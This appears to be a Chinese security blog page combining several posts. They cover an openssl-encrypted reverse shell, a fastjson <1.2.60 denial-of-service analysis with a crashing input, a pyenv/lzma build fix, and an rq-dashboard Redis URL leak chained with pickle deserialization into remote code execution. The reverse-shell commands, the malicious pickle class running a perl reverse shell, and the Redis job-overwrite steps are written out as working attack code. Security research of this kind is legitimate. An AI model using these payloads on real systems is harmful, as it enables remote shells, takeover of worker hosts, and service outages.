利用openssl反弹shell

server

1
2
3
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

openssl s_server -accept 4444 -key server.pem -cert server.pem

client

1
2
3
4
5
6
$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect pytscan_node10:4444 > /tmp/s; rm /tmp/s;
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify error:num=18:self signed certificate
verify return:1
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify return:1

upload successful

Fastjson<1.2.60 Dos分析

fastjson<1.2.60

发现

https://github.com/alibaba/fastjson/commit/995845170527221ca0293cf290e33a7d6cb52bf7

upload successful

分析

问题出现在
src/main/java/com/alibaba/fastjson/parser/JSONLexerBase.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public final void scanString() {
        np = bp;
        hasSpecial = false;
        char ch;
        for (;;) {
            ch = next();

            if (ch == '\"') {
                break;
            }

            if (ch == EOI) {
                if (!isEOF()) {
                    putChar((char) EOI);
                    continue;
                }
                throw new JSONException("unclosed string : " + ch);
            }

...

                    case 'x':
                        char x1 = ch = next();
                        char x2 = ch = next();

                        int x_val = digits[x1] * 16 + digits[x2];
                        char x_char = (char) x_val;
                        putChar(x_char);
                        break;                    
...

问题产生很简单，解析十六进制时出问题了

正常的\x十六进制写法应该是

1
[{"a":"a\xAA"}]

x1 = A

x2 = A

如果这么写呢

1
[{"a":"a\x]

x1 = ]

x2 = EOI

这个时候已经读完了，但是看看判断是否读完的isEOF实现：

1
2
3
public boolean isEOF() {
    return bp == len || ch == EOI && bp + 1 == len;
}

upload successful

ch=EOI，只是这时候指针bp已经在max len之后一位了，isEOF 永为false

所有会一直putChar((char) EOI)，直到产生OOM

POC

1
2
3
4
import com.alibaba.fastjson.JSON;
decodeLog = "[{\"a\":\"a\\x]"
System.out.println(decodeLog);
Object obj = JSON.parse(decodeLog);

lzma踩坑记

lzma 是python3.3 之后引入的一个官方压缩库，但是在使用时候发现import error

1
2
3
4
5
6
7
8
9
10
11
$ python
Python 3.6.0 (default, Mar 10 2017, 10:08:04)
[GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.42.1)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import lzma
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/mody/.pyenv/versions/3.6.0/lib/python3.6/lzma.py", line 27, in <module>
    from _lzma import *
ModuleNotFoundError: No module named '_lzma'
>>>

日常机器环境oxs+brew+pyenv，一顿找，发现应该是lib的问题，新版lzma 已经合并到xz库里面，安装xz

1
brew install xz

pyenv 安装个新的 3.5.6版本测试

1
pyenv install 3.5.6

报错：install failed, “zlib not available” on macOS Mojave

1
CFLAGS="-I$(xcrun --show-sdk-path)/usr/include" pyenv install 3.5.6
1
2
3
4
5
6
7
8
9
10
11
12
$pyenv local 3.5.6
$python
Python 3.5.6 (default, Jul 24 2019, 09:55:40)
[GCC 4.2.1 Compatible Apple LLVM 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import lzma
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/mody/.pyenv/versions/3.6.0/lib/python3.6/lzma.py", line 27, in <module>
    from _lzma import *
ModuleNotFoundError: No module named '_lzma'
>>>

仍然报错，思考应该python编译的时候依赖库问题

brew 安装的依赖库都会放在/usr/local/homebrew/Cellar/下面

1
2
3
4
5
6
$ ll /usr/local/homebrew/Cellar/xz/5.2.4/include/
total 24
drwxr-xr-x   4 mody  staff   128 Apr 30  2018 ./
drwxr-xr-x  14 mody  staff   448 Jul 23 14:58 ../
drwxr-xr-x  16 mody  staff   512 Apr 30  2018 lzma/
-rw-r--r--   1 mody  staff  9817 Apr 30  2018 lzma.h

通过brew link xz 软连接到/usr/local/homebrew/include/目录下(默认执行)

1
2
3
$ ll /usr/local/homebrew/include/ |grep lzma
lrwxr-xr-x    1 mody  admin    31 Jul 24 09:47 lzma@ -> ../Cellar/xz/5.2.4/include/lzma
lrwxr-xr-x    1 mody  admin    33 Jul 24 09:47 lzma.h@ -> ../Cellar/xz/5.2.4/include/lzma.h

所以

1
CFLAGS="-I$(xcrun --show-sdk-path)/usr/include -I/usr/local/homebrew/include" pyenv install 3.5.5
1
2
3
4
5
6
7
$pyenv local 3.5.5
$python
Python 3.5.5 (default, Jul 24 2019, 10:22:29)
[GCC 4.2.1 Compatible Apple LLVM 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import lzma
>>

成功，反思“定位到是python编译的时候依赖库问题”走了弯路，CFLAGS解决zlib时就应该想到

#参考

  1. https://github.com/pyenv/pyenv/issues/1219

rq-dashboard信息泄漏导致workerRCE

查看rq-dashboard源码的时候发现有个rq-instances.json接口，直接返回了REDIS_URL

rq-instances.json泄漏redis url

rq-dashboard 在#issue128 merge了两个接口，rq-instances，rq-instances.json，用于支持多个redis-url切换

https://github.com/GerardSoleCa/rq-dashboard/commit/dfac908b47bdd6ba6a507036c46666af9af09329

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@blueprint.route('/rq-instance/<instance_number>', methods=['POST'])
@jsonify
def change_rq_instance(instance_number):
    redis_url = current_app.config.get('REDIS_URL')
    if not isinstance(redis_url, list):
        return dict(status='Single RQ. Not Permitted.')
    if int(instance_number) >= len(redis_url):
        raise LookupError('Index exceeds RQ list. Not Permitted.')
    pop_connection()
    current_app.redis_conn = from_url(redis_url[int(instance_number)])
    push_rq_connection()
    return dict(status='OK')


@blueprint.route('/rq-instances.json')
@jsonify
def list_instances():
    return dict(rq_instances=current_app.config.get('REDIS_URL'))

其中current_app.config.get(‘REDIS_URL’)保存reids连接地址

配合rq 的反序列化，可以实现rq worker的rce

upload successful

rq worker反序列化利用

rq 与redis之间使用cPickle/pickle 进行交互

1
2
3
4
5
6
7
8
9
10
11
12
def unpickle(pickled_string):
    """Unpickles a string, but raises a unified UnpickleError in case anything
    fails.
    This is a helper method to not have to deal with the fact that `loads()`
    potentially raises many types of exceptions (e.g. AttributeError,
    IndexError, TypeError, KeyError, etc.)
    """
    try:
        obj = loads(pickled_string)
    except Exception as e:
        raise UnpickleError('Could not unpickle', pickled_string, e)
    return obj

Job class 的data会被直接unpickle

1
2
def _unpickle_data(self):
    self._func_name, self._instance, self._args, self._kwargs = unpickle(self.data)

对应在redis job data 字段

upload successful

1
2
3
# jobs.py
def add(a,b):
    return a+b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from redis import Redis,from_url
from rq import Queue

import cPickle
import os
import redis

from jobs import add

class exp(object):
    def __reduce__(self):
        s = """perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
        return (os.system, (s,))

e = exp()
s = cPickle.dumps(e)

# r = redis.Redis(host='xxx.xxx.xxx.xxx', port=6379, db=0)
# r.set("e6c36e69a9cf9543243d7921aa1a3d8093b49441", s)

redis_conn=from_url('redis://localhost:6379/1')
q = Queue(connection=redis_conn)

job=q.enqueue(add,a=2,b=2)
1
s
'cposix\nsystem\np1\n(S\'perl -e \\\'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\\\'\'\np2\ntRp3\n.'

1
2
r=redis_conn
hashVal=r.hget('rq:job:24c71cf9-0a8f-442b-a58b-49c4ca93b775','data')
1
r.hset('rq:job:24c71cf9-0a8f-442b-a58b-49c4ca93b775','data',s)

get shell

upload successful

参考

  1. https://github.com/bit4woo/python_sec
  2. https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html
  3. https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

powershell

[TOC]

工具

参考 http://www.freebuf.com/sectool/87647.html

攻击

其他

辅助工具

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

null